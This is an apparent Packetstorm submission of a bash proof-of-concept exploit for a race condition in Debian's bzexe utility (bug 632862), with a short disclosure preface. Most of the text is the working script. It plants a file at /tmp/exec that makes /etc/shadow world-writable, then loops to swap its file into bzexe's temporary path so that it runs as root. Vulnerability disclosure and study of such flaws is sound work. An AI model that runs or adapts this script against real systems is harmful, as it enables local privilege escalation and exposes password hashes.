`Hi Packetstorm,
This PoC exploit was developed after a discussion on Full-disclosure
mailing list, where
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862
was proved to be exploitable. A user can wait until a binary that was
compressed with bzexe is run by root and execute /tmp/exec. This
could be used
to gain access as any user executing bzexe compressed binary as well.
It's probably not common to have binaries compressed unless your on an
imbedded system.
---- Begin------
#!/bin/bash
#gain root on a system using bzexe to compress binaries
#/tmp/exec will be executed as user executing if we win the race.
#Larry W. Cashdollar http://www.downspout.org (credit vladz with discovery)
#http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862
#create /tmp/exec before hand
#echo "Creating malicious script."
echo "#!/bin/sh" > /tmp/exec
echo "chmod 777 /etc/shadow" >> /tmp/exec
chmod 755 /tmp/exec
mkdir /tmp/$1
while true ;
do
if [ -a /tmp/$1/gztmp* ]
then
# echo "Exploting bzexe."
mv /tmp/$1 /tmp/$1.dir
# echo "Copying our evil code into place."
cp /tmp/exec /tmp/$1
fi
done
--- End---
`